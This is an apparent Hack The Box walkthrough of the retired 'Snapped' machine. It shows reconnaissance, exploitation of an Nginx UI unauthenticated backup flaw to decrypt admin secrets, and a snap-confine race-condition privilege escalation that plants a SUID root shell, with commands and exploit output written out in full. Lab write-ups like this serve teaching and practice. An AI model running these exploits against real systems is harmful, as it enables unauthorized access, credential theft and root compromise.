Discussion — Questions about retired machines? Ping me on Discord.
Hack The Box retired

HTB – Snapped

Hack The Box snapped machine writeup

Snapped
Hard retired Hack The Box
Snapped completion

Initial Enumeration

After getting the target ip address, the first step was to perform an Nmap scan to identify open ports and services:

bash
nmap -sC -sV -A -p- -O --min-rate=1000 10.129.42.237

Scan Results:

code
Starting Nmap 7.95 at 2026-04-28 02:15 EDT
Nmap scan report for 10.129.42.237
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
| ssh-hostkey: 
|   256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_  256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)

80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/

Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops

Web Enumeration & Subdomain Discovery

Navigating to http://10.129.42.237 revealed a redirect to http://snapped.htb. The domain was added to /etc/hosts:

bash
echo "10.129.42.237 snapped.htb" | tee -a /etc/hosts

Initial browsing of snapped.htb didn't revealed anything juicy, so subdomain fuzzing was performed:

bash
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt \
      -u http://snapped.htb -H "HOST: FUZZ.snapped.htb" -mc 200

Discovery:

code
admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50]

The subdomain admin.snapped.htb was added to /etc/hosts and accessed, revealing an Nginx UI dashboard.

Exploiting CVE-2026-27944 (Nginx UI)

Research into Nginx UI vulnerabilities revealed:

Critical Vulnerabilities (2026):

  1. CVE-2026-33032 (MCPwn Authentication Bypass - CVSS 9.8)

    • The /mcp_message endpoint fails to enforce authentication
    • Allows unauthenticated attackers to manage Nginx and execute commands
  2. CVE-2026-27944 (Unauthenticated Backup Download - CVSS 9.8)

    • Versions before 2.3.3 allow unauthenticated backup access
    • AES-256 encryption key and IV disclosed in X-Backup-Security header
    • Enables decryption of credentials, SSL keys, and configs
  3. CVE-2026-33026 (Backup Tampering & Injection)

    • Fixed in 2.3.4, allows malicious config injection

Exploiting the Backup Vulnerability

Accessing http://admin.snapped.htb/api/backup downloaded a ZIP file:

bash
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ file backup-20260428-022136.zip 
backup-20260428-022136.zip: Zip archive data

┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ unzip backup-20260428-022136.zip 
Archive:  backup-20260428-022136.zip
  inflating: hash_info.txt           
  inflating: nginx-ui.zip            
  inflating: nginx.zip
bash
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ cat hash_info.txt 
�)+��ƺ�c��MfL�U98�5�5Ԕ��G�c�]F�Ujr'���|�!
%&��(���x       �9t5�Q�]_>��(@��B��k���c��7�2_O��#��\�����>�c{�Q�����ڄ�>l�����ƝT7/�}��X��uC��(
�A(�K�/��
         ��
           ց��0QS�軭��  

its encrypted The X-Backup-Security header contained the encryption key and IV:

bash
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 | grep -i "X-Backup-Security"
< X-Backup-Security: 4kaig8RUr+4NSvfJ6Of3bj6W7nP9VwYP9IjZGSiGCto=:wevqrDQJpKHXzrJSr+taQg==

Decrypting the Backup

Using a public exploit for CVE-2026-27944:

https://github.com/Skynoxk/CVE-2026-27944

bash
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb/CVE-2026-27944-POC]
└─$ python exploit_enhanced.py --target http://admin.snapped.htb --decrypt --show-secrets
        
======================================================================
CVE-2026-27944 - Nginx UI Unauthenticated Backup Download + Dashboard Access
======================================================================

[*] Downloading backup from http://admin.snapped.htb/api/backup
[+] Backup downloaded successfully (18306 bytes)
[+] Saved to: backup.bin

[*] X-Backup-Security header: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=:ZMpW3hraTFvZc/EF6Rr+jw==
[+] Parsed AES-256 key: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=
[+] Parsed AES IV    : ZMpW3hraTFvZc/EF6Rr+jw==

[+] Key length: 32 bytes (AES-256 ✓)
[+] IV length : 16 bytes (AES block size ✓)

[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
    → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
    → Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
    → Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
    → Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
    → Extracted 22 files to backup_extracted/nginx

[*] Hash info:
nginx-ui_hash: 4ad8655192ed5ee220cb820d46db34c1049c37ef4a7ddc5482010620976e72bb
nginx_hash: 2f0263bd95d62226c216fff4bc222711b713e9b4a993207dc8695137c536af09
timestamp: 20260428-024653
version: 2.3.2


[*] Extracting secrets from backup_extracted/nginx-ui/app.ini
[+] Secrets extracted:
    JWT Secret    : 6c4af436-035a-4942-9ca6-172b36696ce9
    Node Secret   : c64d7ca1-19cb-4ebe-96d4-49037e7df78e
    Crypto Secret : 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
    Email         : admin@test.htb

[*] Verifying Node Secret bypass...
[+] Node Secret verified! Admin API access confirmed
[+] Total users in system: 2

┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ ls                        
app.ini  database.db
                                                                                             
┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ pwd                                                                                  
/home/kali/Downloads/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui

box box

SSH Access

After cracking the password for user jonathan:

bash
┌──(kali㉿blackXploit)-[~/Downloads]
└─$ ssh jonathan@snapped.htb
The authenticity of host 'snapped.htb (10.129.42.237)' can't be established.
ED25519 key fingerprint is: SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'snapped.htb' (ED25519) to the list of known hosts.
jonathan@snapped.htb's password: 

Successful Login:

code
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)

jonathan@snapped:~$ ls
Desktop  Documents  Downloads  linpeas.sh  Music  Pictures  Public  snap  Templates  user.txt  Videos

Privilege Escalation via CVE-2026-3888

Understanding the Vulnerability

CVE-2026-3888 is a local privilege escalation vulnerability in snap-confine and systemd-tmpfiles. Here's how it works:

Step 1: The Regular Cleanup (The Trigger)

  • Linux systems use systemd-tmpfiles to delete old files in /tmp to save space
  • By default, it clears out files every few weeks
  • The Flaw: When this service deletes /tmp/.snap, it briefly leaves a "hole" where that folder used to be

Step 2: The Race Condition (The Timing)

  • This is a TOCTOU (Time-of-Check to Time-of-Use) bug
  • An attacker cannot delete the folder themselves (no permission), so they wait for the system to do it
  • The Attack: The attacker runs a script that constantly watches that folder. The millisecond the system deletes it, the attacker's script "races" to recreate a new version of that folder before the real snap service notices it's gone

Step 3: The Bait-and-Switch

  • Because the attacker created the new /tmp/.snap folder, they own it
  • They place a "trap" inside: a symbolic link pointing to a sensitive part of the system (like the root filesystem)

Step 4: The Elevation (The Payoff)

  • Any snap app starting (or triggered by the attacker) causes snap-confine to run
  • snap-confine sees the folder is missing or needs resetting, so it prepares the sandbox
  • Because snap-confine runs with Root privileges, it follows the attacker's "shortcut" without realizing it's a trap
  • It ends up mounting the attacker's malicious files into a high-privilege area
  • The Result: The attacker, who started as a normal user, now has a "backdoor" into the system's core and becomes Root

System Information

bash
jonathan@snapped:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic

Executing the Exploit

The exploit was run against the Firefox snap:

how this exploit works ?

code

systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)
Attacker recreates it with controlled content — all files owned by the attacker
Exploit single-steps snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequence
Attacker-owned libraries are mounted into the sandbox as root
ld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execve
Executing SUID snap-confine triggers the shellcode with root privileges
SUID bash is dropped to /var/snap/firefox/common/ to escape the sandbox
bash
jonathan@snapped:~/snap$ ./exploit ./librootshell.so -d 

Exploit Output:

code
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/snap/./librootshell.so (9056 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 65385

[Phase 2] Waiting for .snap deletion...
[*] --skip-wait: triggering cleanup...

[Phase 3] Race condition execution...
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0"
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 65882

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================

Root Access Achieved

bash
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)

bash-5.1# ls
Desktop  Documents  Downloads  linpeas.sh  Music  Pictures  Public  snap  Templates  user.txt  Videos

bash-5.1# cd /root
bash-5.1# ls
nginxui  root.txt  snap

bash-5.1# cat root.txt
redact

References

Thanks for reading ! happy hacking

Author avatar

Written by Surajit Sen

Was this writeup helpful?

Comments